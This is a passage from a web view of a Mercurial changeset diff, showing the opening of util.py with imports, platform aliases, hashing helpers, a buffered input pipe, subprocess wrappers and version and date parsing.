##// END OF EJS Templates
util: use set for reserved Windows filenames...
Gregory Szorc -
r34054:ca6a3852 default
parent child Browse files
Show More
@@ -1,3773 +1,3775 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import
16 from __future__ import absolute_import
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import calendar
20 import calendar
21 import codecs
21 import codecs
22 import collections
22 import collections
23 import contextlib
23 import contextlib
24 import datetime
24 import datetime
25 import errno
25 import errno
26 import gc
26 import gc
27 import hashlib
27 import hashlib
28 import imp
28 import imp
29 import os
29 import os
30 import platform as pyplatform
30 import platform as pyplatform
31 import re as remod
31 import re as remod
32 import shutil
32 import shutil
33 import signal
33 import signal
34 import socket
34 import socket
35 import stat
35 import stat
36 import string
36 import string
37 import subprocess
37 import subprocess
38 import sys
38 import sys
39 import tempfile
39 import tempfile
40 import textwrap
40 import textwrap
41 import time
41 import time
42 import traceback
42 import traceback
43 import warnings
43 import warnings
44 import zlib
44 import zlib
45
45
46 from . import (
46 from . import (
47 encoding,
47 encoding,
48 error,
48 error,
49 i18n,
49 i18n,
50 policy,
50 policy,
51 pycompat,
51 pycompat,
52 )
52 )
53
53
54 base85 = policy.importmod(r'base85')
54 base85 = policy.importmod(r'base85')
55 osutil = policy.importmod(r'osutil')
55 osutil = policy.importmod(r'osutil')
56 parsers = policy.importmod(r'parsers')
56 parsers = policy.importmod(r'parsers')
57
57
58 b85decode = base85.b85decode
58 b85decode = base85.b85decode
59 b85encode = base85.b85encode
59 b85encode = base85.b85encode
60
60
61 cookielib = pycompat.cookielib
61 cookielib = pycompat.cookielib
62 empty = pycompat.empty
62 empty = pycompat.empty
63 httplib = pycompat.httplib
63 httplib = pycompat.httplib
64 httpserver = pycompat.httpserver
64 httpserver = pycompat.httpserver
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 queue = pycompat.queue
66 queue = pycompat.queue
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 stderr = pycompat.stderr
68 stderr = pycompat.stderr
69 stdin = pycompat.stdin
69 stdin = pycompat.stdin
70 stdout = pycompat.stdout
70 stdout = pycompat.stdout
71 stringio = pycompat.stringio
71 stringio = pycompat.stringio
72 urlerr = pycompat.urlerr
72 urlerr = pycompat.urlerr
73 urlreq = pycompat.urlreq
73 urlreq = pycompat.urlreq
74 xmlrpclib = pycompat.xmlrpclib
74 xmlrpclib = pycompat.xmlrpclib
75
75
76 # workaround for win32mbcs
76 # workaround for win32mbcs
77 _filenamebytestr = pycompat.bytestr
77 _filenamebytestr = pycompat.bytestr
78
78
79 def isatty(fp):
79 def isatty(fp):
80 try:
80 try:
81 return fp.isatty()
81 return fp.isatty()
82 except AttributeError:
82 except AttributeError:
83 return False
83 return False
84
84
85 # glibc determines buffering on first write to stdout - if we replace a TTY
85 # glibc determines buffering on first write to stdout - if we replace a TTY
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
86 # destined stdout with a pipe destined stdout (e.g. pager), we want line
87 # buffering
87 # buffering
88 if isatty(stdout):
88 if isatty(stdout):
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
89 stdout = os.fdopen(stdout.fileno(), pycompat.sysstr('wb'), 1)
90
90
91 if pycompat.osname == 'nt':
91 if pycompat.osname == 'nt':
92 from . import windows as platform
92 from . import windows as platform
93 stdout = platform.winstdout(stdout)
93 stdout = platform.winstdout(stdout)
94 else:
94 else:
95 from . import posix as platform
95 from . import posix as platform
96
96
97 _ = i18n._
97 _ = i18n._
98
98
99 bindunixsocket = platform.bindunixsocket
99 bindunixsocket = platform.bindunixsocket
100 cachestat = platform.cachestat
100 cachestat = platform.cachestat
101 checkexec = platform.checkexec
101 checkexec = platform.checkexec
102 checklink = platform.checklink
102 checklink = platform.checklink
103 copymode = platform.copymode
103 copymode = platform.copymode
104 executablepath = platform.executablepath
104 executablepath = platform.executablepath
105 expandglobs = platform.expandglobs
105 expandglobs = platform.expandglobs
106 explainexit = platform.explainexit
106 explainexit = platform.explainexit
107 findexe = platform.findexe
107 findexe = platform.findexe
108 gethgcmd = platform.gethgcmd
108 gethgcmd = platform.gethgcmd
109 getuser = platform.getuser
109 getuser = platform.getuser
110 getpid = os.getpid
110 getpid = os.getpid
111 groupmembers = platform.groupmembers
111 groupmembers = platform.groupmembers
112 groupname = platform.groupname
112 groupname = platform.groupname
113 hidewindow = platform.hidewindow
113 hidewindow = platform.hidewindow
114 isexec = platform.isexec
114 isexec = platform.isexec
115 isowner = platform.isowner
115 isowner = platform.isowner
116 listdir = osutil.listdir
116 listdir = osutil.listdir
117 localpath = platform.localpath
117 localpath = platform.localpath
118 lookupreg = platform.lookupreg
118 lookupreg = platform.lookupreg
119 makedir = platform.makedir
119 makedir = platform.makedir
120 nlinks = platform.nlinks
120 nlinks = platform.nlinks
121 normpath = platform.normpath
121 normpath = platform.normpath
122 normcase = platform.normcase
122 normcase = platform.normcase
123 normcasespec = platform.normcasespec
123 normcasespec = platform.normcasespec
124 normcasefallback = platform.normcasefallback
124 normcasefallback = platform.normcasefallback
125 openhardlinks = platform.openhardlinks
125 openhardlinks = platform.openhardlinks
126 oslink = platform.oslink
126 oslink = platform.oslink
127 parsepatchoutput = platform.parsepatchoutput
127 parsepatchoutput = platform.parsepatchoutput
128 pconvert = platform.pconvert
128 pconvert = platform.pconvert
129 poll = platform.poll
129 poll = platform.poll
130 popen = platform.popen
130 popen = platform.popen
131 posixfile = platform.posixfile
131 posixfile = platform.posixfile
132 quotecommand = platform.quotecommand
132 quotecommand = platform.quotecommand
133 readpipe = platform.readpipe
133 readpipe = platform.readpipe
134 rename = platform.rename
134 rename = platform.rename
135 removedirs = platform.removedirs
135 removedirs = platform.removedirs
136 samedevice = platform.samedevice
136 samedevice = platform.samedevice
137 samefile = platform.samefile
137 samefile = platform.samefile
138 samestat = platform.samestat
138 samestat = platform.samestat
139 setbinary = platform.setbinary
139 setbinary = platform.setbinary
140 setflags = platform.setflags
140 setflags = platform.setflags
141 setsignalhandler = platform.setsignalhandler
141 setsignalhandler = platform.setsignalhandler
142 shellquote = platform.shellquote
142 shellquote = platform.shellquote
143 spawndetached = platform.spawndetached
143 spawndetached = platform.spawndetached
144 split = platform.split
144 split = platform.split
145 sshargs = platform.sshargs
145 sshargs = platform.sshargs
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
146 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
147 statisexec = platform.statisexec
147 statisexec = platform.statisexec
148 statislink = platform.statislink
148 statislink = platform.statislink
149 testpid = platform.testpid
149 testpid = platform.testpid
150 umask = platform.umask
150 umask = platform.umask
151 unlink = platform.unlink
151 unlink = platform.unlink
152 username = platform.username
152 username = platform.username
153
153
154 try:
154 try:
155 recvfds = osutil.recvfds
155 recvfds = osutil.recvfds
156 except AttributeError:
156 except AttributeError:
157 pass
157 pass
158 try:
158 try:
159 setprocname = osutil.setprocname
159 setprocname = osutil.setprocname
160 except AttributeError:
160 except AttributeError:
161 pass
161 pass
162
162
163 # Python compatibility
163 # Python compatibility
164
164
165 _notset = object()
165 _notset = object()
166
166
167 # disable Python's problematic floating point timestamps (issue4836)
167 # disable Python's problematic floating point timestamps (issue4836)
168 # (Python hypocritically says you shouldn't change this behavior in
168 # (Python hypocritically says you shouldn't change this behavior in
169 # libraries, and sure enough Mercurial is not a library.)
169 # libraries, and sure enough Mercurial is not a library.)
170 os.stat_float_times(False)
170 os.stat_float_times(False)
171
171
172 def safehasattr(thing, attr):
172 def safehasattr(thing, attr):
173 return getattr(thing, attr, _notset) is not _notset
173 return getattr(thing, attr, _notset) is not _notset
174
174
175 def bytesinput(fin, fout, *args, **kwargs):
175 def bytesinput(fin, fout, *args, **kwargs):
176 sin, sout = sys.stdin, sys.stdout
176 sin, sout = sys.stdin, sys.stdout
177 try:
177 try:
178 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
178 sys.stdin, sys.stdout = encoding.strio(fin), encoding.strio(fout)
179 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
179 return encoding.strtolocal(pycompat.rawinput(*args, **kwargs))
180 finally:
180 finally:
181 sys.stdin, sys.stdout = sin, sout
181 sys.stdin, sys.stdout = sin, sout
182
182
183 def bitsfrom(container):
183 def bitsfrom(container):
184 bits = 0
184 bits = 0
185 for bit in container:
185 for bit in container:
186 bits |= bit
186 bits |= bit
187 return bits
187 return bits
188
188
189 # python 2.6 still have deprecation warning enabled by default. We do not want
189 # python 2.6 still have deprecation warning enabled by default. We do not want
190 # to display anything to standard user so detect if we are running test and
190 # to display anything to standard user so detect if we are running test and
191 # only use python deprecation warning in this case.
191 # only use python deprecation warning in this case.
192 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
192 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
193 if _dowarn:
193 if _dowarn:
194 # explicitly unfilter our warning for python 2.7
194 # explicitly unfilter our warning for python 2.7
195 #
195 #
196 # The option of setting PYTHONWARNINGS in the test runner was investigated.
196 # The option of setting PYTHONWARNINGS in the test runner was investigated.
197 # However, module name set through PYTHONWARNINGS was exactly matched, so
197 # However, module name set through PYTHONWARNINGS was exactly matched, so
198 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
198 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
199 # makes the whole PYTHONWARNINGS thing useless for our usecase.
199 # makes the whole PYTHONWARNINGS thing useless for our usecase.
200 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
200 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
201 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
202 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
203
203
204 def nouideprecwarn(msg, version, stacklevel=1):
204 def nouideprecwarn(msg, version, stacklevel=1):
205 """Issue an python native deprecation warning
205 """Issue an python native deprecation warning
206
206
207 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
207 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
208 """
208 """
209 if _dowarn:
209 if _dowarn:
210 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
210 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
211 " update your code.)") % version
211 " update your code.)") % version
212 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
212 warnings.warn(msg, DeprecationWarning, stacklevel + 1)
213
213
214 DIGESTS = {
214 DIGESTS = {
215 'md5': hashlib.md5,
215 'md5': hashlib.md5,
216 'sha1': hashlib.sha1,
216 'sha1': hashlib.sha1,
217 'sha512': hashlib.sha512,
217 'sha512': hashlib.sha512,
218 }
218 }
219 # List of digest types from strongest to weakest
219 # List of digest types from strongest to weakest
220 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
220 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
221
221
222 for k in DIGESTS_BY_STRENGTH:
222 for k in DIGESTS_BY_STRENGTH:
223 assert k in DIGESTS
223 assert k in DIGESTS
224
224
225 class digester(object):
225 class digester(object):
226 """helper to compute digests.
226 """helper to compute digests.
227
227
228 This helper can be used to compute one or more digests given their name.
228 This helper can be used to compute one or more digests given their name.
229
229
230 >>> d = digester(['md5', 'sha1'])
230 >>> d = digester(['md5', 'sha1'])
231 >>> d.update('foo')
231 >>> d.update('foo')
232 >>> [k for k in sorted(d)]
232 >>> [k for k in sorted(d)]
233 ['md5', 'sha1']
233 ['md5', 'sha1']
234 >>> d['md5']
234 >>> d['md5']
235 'acbd18db4cc2f85cedef654fccc4a4d8'
235 'acbd18db4cc2f85cedef654fccc4a4d8'
236 >>> d['sha1']
236 >>> d['sha1']
237 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
237 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
238 >>> digester.preferred(['md5', 'sha1'])
238 >>> digester.preferred(['md5', 'sha1'])
239 'sha1'
239 'sha1'
240 """
240 """
241
241
242 def __init__(self, digests, s=''):
242 def __init__(self, digests, s=''):
243 self._hashes = {}
243 self._hashes = {}
244 for k in digests:
244 for k in digests:
245 if k not in DIGESTS:
245 if k not in DIGESTS:
246 raise Abort(_('unknown digest type: %s') % k)
246 raise Abort(_('unknown digest type: %s') % k)
247 self._hashes[k] = DIGESTS[k]()
247 self._hashes[k] = DIGESTS[k]()
248 if s:
248 if s:
249 self.update(s)
249 self.update(s)
250
250
251 def update(self, data):
251 def update(self, data):
252 for h in self._hashes.values():
252 for h in self._hashes.values():
253 h.update(data)
253 h.update(data)
254
254
255 def __getitem__(self, key):
255 def __getitem__(self, key):
256 if key not in DIGESTS:
256 if key not in DIGESTS:
257 raise Abort(_('unknown digest type: %s') % k)
257 raise Abort(_('unknown digest type: %s') % k)
258 return self._hashes[key].hexdigest()
258 return self._hashes[key].hexdigest()
259
259
260 def __iter__(self):
260 def __iter__(self):
261 return iter(self._hashes)
261 return iter(self._hashes)
262
262
263 @staticmethod
263 @staticmethod
264 def preferred(supported):
264 def preferred(supported):
265 """returns the strongest digest type in both supported and DIGESTS."""
265 """returns the strongest digest type in both supported and DIGESTS."""
266
266
267 for k in DIGESTS_BY_STRENGTH:
267 for k in DIGESTS_BY_STRENGTH:
268 if k in supported:
268 if k in supported:
269 return k
269 return k
270 return None
270 return None
271
271
272 class digestchecker(object):
272 class digestchecker(object):
273 """file handle wrapper that additionally checks content against a given
273 """file handle wrapper that additionally checks content against a given
274 size and digests.
274 size and digests.
275
275
276 d = digestchecker(fh, size, {'md5': '...'})
276 d = digestchecker(fh, size, {'md5': '...'})
277
277
278 When multiple digests are given, all of them are validated.
278 When multiple digests are given, all of them are validated.
279 """
279 """
280
280
281 def __init__(self, fh, size, digests):
281 def __init__(self, fh, size, digests):
282 self._fh = fh
282 self._fh = fh
283 self._size = size
283 self._size = size
284 self._got = 0
284 self._got = 0
285 self._digests = dict(digests)
285 self._digests = dict(digests)
286 self._digester = digester(self._digests.keys())
286 self._digester = digester(self._digests.keys())
287
287
288 def read(self, length=-1):
288 def read(self, length=-1):
289 content = self._fh.read(length)
289 content = self._fh.read(length)
290 self._digester.update(content)
290 self._digester.update(content)
291 self._got += len(content)
291 self._got += len(content)
292 return content
292 return content
293
293
294 def validate(self):
294 def validate(self):
295 if self._size != self._got:
295 if self._size != self._got:
296 raise Abort(_('size mismatch: expected %d, got %d') %
296 raise Abort(_('size mismatch: expected %d, got %d') %
297 (self._size, self._got))
297 (self._size, self._got))
298 for k, v in self._digests.items():
298 for k, v in self._digests.items():
299 if v != self._digester[k]:
299 if v != self._digester[k]:
300 # i18n: first parameter is a digest name
300 # i18n: first parameter is a digest name
301 raise Abort(_('%s mismatch: expected %s, got %s') %
301 raise Abort(_('%s mismatch: expected %s, got %s') %
302 (k, v, self._digester[k]))
302 (k, v, self._digester[k]))
303
303
304 try:
304 try:
305 buffer = buffer
305 buffer = buffer
306 except NameError:
306 except NameError:
307 def buffer(sliceable, offset=0, length=None):
307 def buffer(sliceable, offset=0, length=None):
308 if length is not None:
308 if length is not None:
309 return memoryview(sliceable)[offset:offset + length]
309 return memoryview(sliceable)[offset:offset + length]
310 return memoryview(sliceable)[offset:]
310 return memoryview(sliceable)[offset:]
311
311
312 closefds = pycompat.osname == 'posix'
312 closefds = pycompat.osname == 'posix'
313
313
314 _chunksize = 4096
314 _chunksize = 4096
315
315
316 class bufferedinputpipe(object):
316 class bufferedinputpipe(object):
317 """a manually buffered input pipe
317 """a manually buffered input pipe
318
318
319 Python will not let us use buffered IO and lazy reading with 'polling' at
319 Python will not let us use buffered IO and lazy reading with 'polling' at
320 the same time. We cannot probe the buffer state and select will not detect
320 the same time. We cannot probe the buffer state and select will not detect
321 that data are ready to read if they are already buffered.
321 that data are ready to read if they are already buffered.
322
322
323 This class let us work around that by implementing its own buffering
323 This class let us work around that by implementing its own buffering
324 (allowing efficient readline) while offering a way to know if the buffer is
324 (allowing efficient readline) while offering a way to know if the buffer is
325 empty from the output (allowing collaboration of the buffer with polling).
325 empty from the output (allowing collaboration of the buffer with polling).
326
326
327 This class lives in the 'util' module because it makes use of the 'os'
327 This class lives in the 'util' module because it makes use of the 'os'
328 module from the python stdlib.
328 module from the python stdlib.
329 """
329 """
330
330
331 def __init__(self, input):
331 def __init__(self, input):
332 self._input = input
332 self._input = input
333 self._buffer = []
333 self._buffer = []
334 self._eof = False
334 self._eof = False
335 self._lenbuf = 0
335 self._lenbuf = 0
336
336
337 @property
337 @property
338 def hasbuffer(self):
338 def hasbuffer(self):
339 """True is any data is currently buffered
339 """True is any data is currently buffered
340
340
341 This will be used externally a pre-step for polling IO. If there is
341 This will be used externally a pre-step for polling IO. If there is
342 already data then no polling should be set in place."""
342 already data then no polling should be set in place."""
343 return bool(self._buffer)
343 return bool(self._buffer)
344
344
345 @property
345 @property
346 def closed(self):
346 def closed(self):
347 return self._input.closed
347 return self._input.closed
348
348
349 def fileno(self):
349 def fileno(self):
350 return self._input.fileno()
350 return self._input.fileno()
351
351
352 def close(self):
352 def close(self):
353 return self._input.close()
353 return self._input.close()
354
354
355 def read(self, size):
355 def read(self, size):
356 while (not self._eof) and (self._lenbuf < size):
356 while (not self._eof) and (self._lenbuf < size):
357 self._fillbuffer()
357 self._fillbuffer()
358 return self._frombuffer(size)
358 return self._frombuffer(size)
359
359
360 def readline(self, *args, **kwargs):
360 def readline(self, *args, **kwargs):
361 if 1 < len(self._buffer):
361 if 1 < len(self._buffer):
362 # this should not happen because both read and readline end with a
362 # this should not happen because both read and readline end with a
363 # _frombuffer call that collapse it.
363 # _frombuffer call that collapse it.
364 self._buffer = [''.join(self._buffer)]
364 self._buffer = [''.join(self._buffer)]
365 self._lenbuf = len(self._buffer[0])
365 self._lenbuf = len(self._buffer[0])
366 lfi = -1
366 lfi = -1
367 if self._buffer:
367 if self._buffer:
368 lfi = self._buffer[-1].find('\n')
368 lfi = self._buffer[-1].find('\n')
369 while (not self._eof) and lfi < 0:
369 while (not self._eof) and lfi < 0:
370 self._fillbuffer()
370 self._fillbuffer()
371 if self._buffer:
371 if self._buffer:
372 lfi = self._buffer[-1].find('\n')
372 lfi = self._buffer[-1].find('\n')
373 size = lfi + 1
373 size = lfi + 1
374 if lfi < 0: # end of file
374 if lfi < 0: # end of file
375 size = self._lenbuf
375 size = self._lenbuf
376 elif 1 < len(self._buffer):
376 elif 1 < len(self._buffer):
377 # we need to take previous chunks into account
377 # we need to take previous chunks into account
378 size += self._lenbuf - len(self._buffer[-1])
378 size += self._lenbuf - len(self._buffer[-1])
379 return self._frombuffer(size)
379 return self._frombuffer(size)
380
380
381 def _frombuffer(self, size):
381 def _frombuffer(self, size):
382 """return at most 'size' data from the buffer
382 """return at most 'size' data from the buffer
383
383
384 The data are removed from the buffer."""
384 The data are removed from the buffer."""
385 if size == 0 or not self._buffer:
385 if size == 0 or not self._buffer:
386 return ''
386 return ''
387 buf = self._buffer[0]
387 buf = self._buffer[0]
388 if 1 < len(self._buffer):
388 if 1 < len(self._buffer):
389 buf = ''.join(self._buffer)
389 buf = ''.join(self._buffer)
390
390
391 data = buf[:size]
391 data = buf[:size]
392 buf = buf[len(data):]
392 buf = buf[len(data):]
393 if buf:
393 if buf:
394 self._buffer = [buf]
394 self._buffer = [buf]
395 self._lenbuf = len(buf)
395 self._lenbuf = len(buf)
396 else:
396 else:
397 self._buffer = []
397 self._buffer = []
398 self._lenbuf = 0
398 self._lenbuf = 0
399 return data
399 return data
400
400
401 def _fillbuffer(self):
401 def _fillbuffer(self):
402 """read data to the buffer"""
402 """read data to the buffer"""
403 data = os.read(self._input.fileno(), _chunksize)
403 data = os.read(self._input.fileno(), _chunksize)
404 if not data:
404 if not data:
405 self._eof = True
405 self._eof = True
406 else:
406 else:
407 self._lenbuf += len(data)
407 self._lenbuf += len(data)
408 self._buffer.append(data)
408 self._buffer.append(data)
409
409
410 def popen2(cmd, env=None, newlines=False):
410 def popen2(cmd, env=None, newlines=False):
411 # Setting bufsize to -1 lets the system decide the buffer size.
411 # Setting bufsize to -1 lets the system decide the buffer size.
412 # The default for bufsize is 0, meaning unbuffered. This leads to
412 # The default for bufsize is 0, meaning unbuffered. This leads to
413 # poor performance on Mac OS X: http://bugs.python.org/issue4194
413 # poor performance on Mac OS X: http://bugs.python.org/issue4194
414 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
414 p = subprocess.Popen(cmd, shell=True, bufsize=-1,
415 close_fds=closefds,
415 close_fds=closefds,
416 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
416 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
417 universal_newlines=newlines,
417 universal_newlines=newlines,
418 env=env)
418 env=env)
419 return p.stdin, p.stdout
419 return p.stdin, p.stdout
420
420
421 def popen3(cmd, env=None, newlines=False):
421 def popen3(cmd, env=None, newlines=False):
422 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
422 stdin, stdout, stderr, p = popen4(cmd, env, newlines)
423 return stdin, stdout, stderr
423 return stdin, stdout, stderr
424
424
425 def popen4(cmd, env=None, newlines=False, bufsize=-1):
425 def popen4(cmd, env=None, newlines=False, bufsize=-1):
426 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
426 p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
427 close_fds=closefds,
427 close_fds=closefds,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
428 stdin=subprocess.PIPE, stdout=subprocess.PIPE,
429 stderr=subprocess.PIPE,
429 stderr=subprocess.PIPE,
430 universal_newlines=newlines,
430 universal_newlines=newlines,
431 env=env)
431 env=env)
432 return p.stdin, p.stdout, p.stderr, p
432 return p.stdin, p.stdout, p.stderr, p
433
433
434 def version():
434 def version():
435 """Return version information if available."""
435 """Return version information if available."""
436 try:
436 try:
437 from . import __version__
437 from . import __version__
438 return __version__.version
438 return __version__.version
439 except ImportError:
439 except ImportError:
440 return 'unknown'
440 return 'unknown'
441
441
442 def versiontuple(v=None, n=4):
442 def versiontuple(v=None, n=4):
443 """Parses a Mercurial version string into an N-tuple.
443 """Parses a Mercurial version string into an N-tuple.
444
444
445 The version string to be parsed is specified with the ``v`` argument.
445 The version string to be parsed is specified with the ``v`` argument.
446 If it isn't defined, the current Mercurial version string will be parsed.
446 If it isn't defined, the current Mercurial version string will be parsed.
447
447
448 ``n`` can be 2, 3, or 4. Here is how some version strings map to
448 ``n`` can be 2, 3, or 4. Here is how some version strings map to
449 returned values:
449 returned values:
450
450
451 >>> v = '3.6.1+190-df9b73d2d444'
451 >>> v = '3.6.1+190-df9b73d2d444'
452 >>> versiontuple(v, 2)
452 >>> versiontuple(v, 2)
453 (3, 6)
453 (3, 6)
454 >>> versiontuple(v, 3)
454 >>> versiontuple(v, 3)
455 (3, 6, 1)
455 (3, 6, 1)
456 >>> versiontuple(v, 4)
456 >>> versiontuple(v, 4)
457 (3, 6, 1, '190-df9b73d2d444')
457 (3, 6, 1, '190-df9b73d2d444')
458
458
459 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
459 >>> versiontuple('3.6.1+190-df9b73d2d444+20151118')
460 (3, 6, 1, '190-df9b73d2d444+20151118')
460 (3, 6, 1, '190-df9b73d2d444+20151118')
461
461
462 >>> v = '3.6'
462 >>> v = '3.6'
463 >>> versiontuple(v, 2)
463 >>> versiontuple(v, 2)
464 (3, 6)
464 (3, 6)
465 >>> versiontuple(v, 3)
465 >>> versiontuple(v, 3)
466 (3, 6, None)
466 (3, 6, None)
467 >>> versiontuple(v, 4)
467 >>> versiontuple(v, 4)
468 (3, 6, None, None)
468 (3, 6, None, None)
469
469
470 >>> v = '3.9-rc'
470 >>> v = '3.9-rc'
471 >>> versiontuple(v, 2)
471 >>> versiontuple(v, 2)
472 (3, 9)
472 (3, 9)
473 >>> versiontuple(v, 3)
473 >>> versiontuple(v, 3)
474 (3, 9, None)
474 (3, 9, None)
475 >>> versiontuple(v, 4)
475 >>> versiontuple(v, 4)
476 (3, 9, None, 'rc')
476 (3, 9, None, 'rc')
477
477
478 >>> v = '3.9-rc+2-02a8fea4289b'
478 >>> v = '3.9-rc+2-02a8fea4289b'
479 >>> versiontuple(v, 2)
479 >>> versiontuple(v, 2)
480 (3, 9)
480 (3, 9)
481 >>> versiontuple(v, 3)
481 >>> versiontuple(v, 3)
482 (3, 9, None)
482 (3, 9, None)
483 >>> versiontuple(v, 4)
483 >>> versiontuple(v, 4)
484 (3, 9, None, 'rc+2-02a8fea4289b')
484 (3, 9, None, 'rc+2-02a8fea4289b')
485 """
485 """
486 if not v:
486 if not v:
487 v = version()
487 v = version()
488 parts = remod.split('[\+-]', v, 1)
488 parts = remod.split('[\+-]', v, 1)
489 if len(parts) == 1:
489 if len(parts) == 1:
490 vparts, extra = parts[0], None
490 vparts, extra = parts[0], None
491 else:
491 else:
492 vparts, extra = parts
492 vparts, extra = parts
493
493
494 vints = []
494 vints = []
495 for i in vparts.split('.'):
495 for i in vparts.split('.'):
496 try:
496 try:
497 vints.append(int(i))
497 vints.append(int(i))
498 except ValueError:
498 except ValueError:
499 break
499 break
500 # (3, 6) -> (3, 6, None)
500 # (3, 6) -> (3, 6, None)
501 while len(vints) < 3:
501 while len(vints) < 3:
502 vints.append(None)
502 vints.append(None)
503
503
504 if n == 2:
504 if n == 2:
505 return (vints[0], vints[1])
505 return (vints[0], vints[1])
506 if n == 3:
506 if n == 3:
507 return (vints[0], vints[1], vints[2])
507 return (vints[0], vints[1], vints[2])
508 if n == 4:
508 if n == 4:
509 return (vints[0], vints[1], vints[2], extra)
509 return (vints[0], vints[1], vints[2], extra)
510
510
511 # used by parsedate
511 # used by parsedate
512 defaultdateformats = (
512 defaultdateformats = (
513 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
513 '%Y-%m-%dT%H:%M:%S', # the 'real' ISO8601
514 '%Y-%m-%dT%H:%M', # without seconds
514 '%Y-%m-%dT%H:%M', # without seconds
515 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
515 '%Y-%m-%dT%H%M%S', # another awful but legal variant without :
516 '%Y-%m-%dT%H%M', # without seconds
516 '%Y-%m-%dT%H%M', # without seconds
517 '%Y-%m-%d %H:%M:%S', # our common legal variant
517 '%Y-%m-%d %H:%M:%S', # our common legal variant
518 '%Y-%m-%d %H:%M', # without seconds
518 '%Y-%m-%d %H:%M', # without seconds
519 '%Y-%m-%d %H%M%S', # without :
519 '%Y-%m-%d %H%M%S', # without :
520 '%Y-%m-%d %H%M', # without seconds
520 '%Y-%m-%d %H%M', # without seconds
521 '%Y-%m-%d %I:%M:%S%p',
521 '%Y-%m-%d %I:%M:%S%p',
522 '%Y-%m-%d %H:%M',
522 '%Y-%m-%d %H:%M',
523 '%Y-%m-%d %I:%M%p',
523 '%Y-%m-%d %I:%M%p',
524 '%Y-%m-%d',
524 '%Y-%m-%d',
525 '%m-%d',
525 '%m-%d',
526 '%m/%d',
526 '%m/%d',
527 '%m/%d/%y',
527 '%m/%d/%y',
528 '%m/%d/%Y',
528 '%m/%d/%Y',
529 '%a %b %d %H:%M:%S %Y',
529 '%a %b %d %H:%M:%S %Y',
530 '%a %b %d %I:%M:%S%p %Y',
530 '%a %b %d %I:%M:%S%p %Y',
531 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
531 '%a, %d %b %Y %H:%M:%S', # GNU coreutils "/bin/date --rfc-2822"
532 '%b %d %H:%M:%S %Y',
532 '%b %d %H:%M:%S %Y',
533 '%b %d %I:%M:%S%p %Y',
533 '%b %d %I:%M:%S%p %Y',
534 '%b %d %H:%M:%S',
534 '%b %d %H:%M:%S',
535 '%b %d %I:%M:%S%p',
535 '%b %d %I:%M:%S%p',
536 '%b %d %H:%M',
536 '%b %d %H:%M',
537 '%b %d %I:%M%p',
537 '%b %d %I:%M%p',
538 '%b %d %Y',
538 '%b %d %Y',
539 '%b %d',
539 '%b %d',
540 '%H:%M:%S',
540 '%H:%M:%S',
541 '%I:%M:%S%p',
541 '%I:%M:%S%p',
542 '%H:%M',
542 '%H:%M',
543 '%I:%M%p',
543 '%I:%M%p',
544 )
544 )
545
545
546 extendeddateformats = defaultdateformats + (
546 extendeddateformats = defaultdateformats + (
547 "%Y",
547 "%Y",
548 "%Y-%m",
548 "%Y-%m",
549 "%b",
549 "%b",
550 "%b %Y",
550 "%b %Y",
551 )
551 )
552
552
553 def cachefunc(func):
553 def cachefunc(func):
554 '''cache the result of function calls'''
554 '''cache the result of function calls'''
555 # XXX doesn't handle keywords args
555 # XXX doesn't handle keywords args
556 if func.__code__.co_argcount == 0:
556 if func.__code__.co_argcount == 0:
557 cache = []
